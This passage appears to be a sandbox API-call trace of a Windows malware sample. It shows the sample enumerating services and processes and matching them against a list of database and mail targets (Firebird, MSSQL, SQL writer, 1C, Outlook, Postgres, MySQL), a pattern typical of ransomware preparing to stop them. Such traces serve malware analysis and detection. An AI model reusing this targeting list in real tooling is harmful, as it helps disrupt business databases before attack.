th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.535] lstrlenW (lpString="reader_sl.exe") returned 13 [0239.535] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0239.536] CloseHandle (hObject=0x324) returned 1 [0239.536] Sleep (dwMilliseconds=0x1f4) [0240.265] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0241.326] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0241.330] GetLastError () returned 0xea [0241.330] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x41d0998 [0241.331] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0241.332] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0241.333] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.334] lstrlenW (lpString="AudioSrv") returned 8 [0241.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0241.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0241.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0241.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0241.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0241.334] lstrlenW (lpString="BFE") returned 3 [0241.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.334] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.334] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.335] lstrlenW (lpString="CryptSvc") returned 8 [0241.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.335] lstrlenW (lpString="CscService") returned 10 [0241.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0241.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0241.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0241.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0241.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0241.336] lstrlenW (lpString="DcomLaunch") returned 10 [0241.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.336] lstrlenW (lpString="Dhcp") returned 4 [0241.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.337] lstrlenW (lpString="Dnscache") returned 8 [0241.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.337] lstrlenW (lpString="DPS") returned 3 [0241.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.337] lstrlenW (lpString="eventlog") returned 8 [0241.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0241.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0241.338] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0241.338] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0241.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0241.338] lstrlenW (lpString="EventSystem") returned 11 [0241.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.339] lstrlenW (lpString="gpsvc") returned 5 [0241.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.339] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.339] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.339] lstrlenW (lpString="iphlpsvc") returned 8 [0241.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.339] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0241.339] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0241.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0241.340] lstrlenW (lpString="LanmanServer") returned 12 [0241.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0241.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0241.340] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0241.340] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0241.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0241.341] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.341] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.341] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.341] lstrlenW (lpString="lmhosts") returned 7 [0241.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.342] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.342] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.342] lstrlenW (lpString="MMCSS") returned 5 [0241.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0241.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0241.342] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0241.342] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0241.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0241.342] lstrlenW (lpString="MpsSvc") returned 6 [0241.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.342] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.342] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.343] lstrlenW (lpString="NlaSvc") returned 6 [0241.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.343] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.343] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.343] lstrlenW (lpString="nsi") returned 3 [0241.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.343] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.343] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.343] lstrlenW (lpString="PcaSvc") returned 6 [0241.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.344] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.344] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.344] lstrlenW (lpString="PlugPlay") returned 8 [0241.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.344] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.344] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.344] lstrlenW (lpString="Power") returned 5 [0241.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.345] lstrlenW (lpString="ProfSvc") returned 7 [0241.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.345] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.345] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.345] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.346] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.346] lstrlenW (lpString="RpcSs") returned 5 [0241.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.346] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.346] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.346] lstrlenW (lpString="SamSs") returned 5 [0241.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.347] lstrlenW (lpString="Schedule") returned 8 [0241.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0241.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.347] lstrlenW (lpString="SENS") returned 4 [0241.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0241.348] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0241.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0241.348] lstrlenW (lpString="ShellHWDetection") returned 16 [0241.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.348] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0241.348] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0241.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0241.348] lstrlenW (lpString="Spooler") returned 7 [0241.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0241.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0241.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0241.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0241.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0241.349] lstrlenW (lpString="SysMain") returned 7 [0241.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0241.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0241.349] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0241.349] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0241.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0241.349] lstrlenW (lpString="Themes") returned 6 [0241.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.350] lstrlenW (lpString="TrkWks") returned 6 [0241.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0241.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0241.350] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0241.350] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0241.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0241.350] lstrlenW (lpString="UxSms") returned 5 [0241.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0241.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0241.350] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0241.350] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0241.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0241.350] lstrlenW (lpString="Winmgmt") returned 7 [0241.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0241.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0241.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0241.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0241.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0241.351] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0241.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15c [0241.357] Process32FirstW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.358] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.359] lstrlenW (lpString="System") returned 6 [0241.359] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0241.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0241.360] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.360] lstrlenW (lpString="smss.exe") returned 8 [0241.361] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0241.361] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0241.361] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.362] lstrlenW (lpString="csrss.exe") returned 9 [0241.362] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.362] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.363] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.363] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.364] lstrlenW (lpString="wininit.exe") returned 11 [0241.364] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0241.364] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0241.364] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.365] lstrlenW (lpString="csrss.exe") returned 9 [0241.366] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.366] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.366] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.366] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.367] lstrlenW (lpString="winlogon.exe") returned 12 [0241.367] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0241.367] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0241.367] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0241.367] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0241.367] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0241.368] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0241.368] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0241.368] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.369] lstrlenW (lpString="services.exe") returned 12 [0241.369] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0241.369] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0241.369] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.370] lstrlenW (lpString="lsass.exe") returned 9 [0241.370] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0241.370] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0241.371] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0241.371] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0241.371] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0241.371] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0241.371] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0241.371] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, 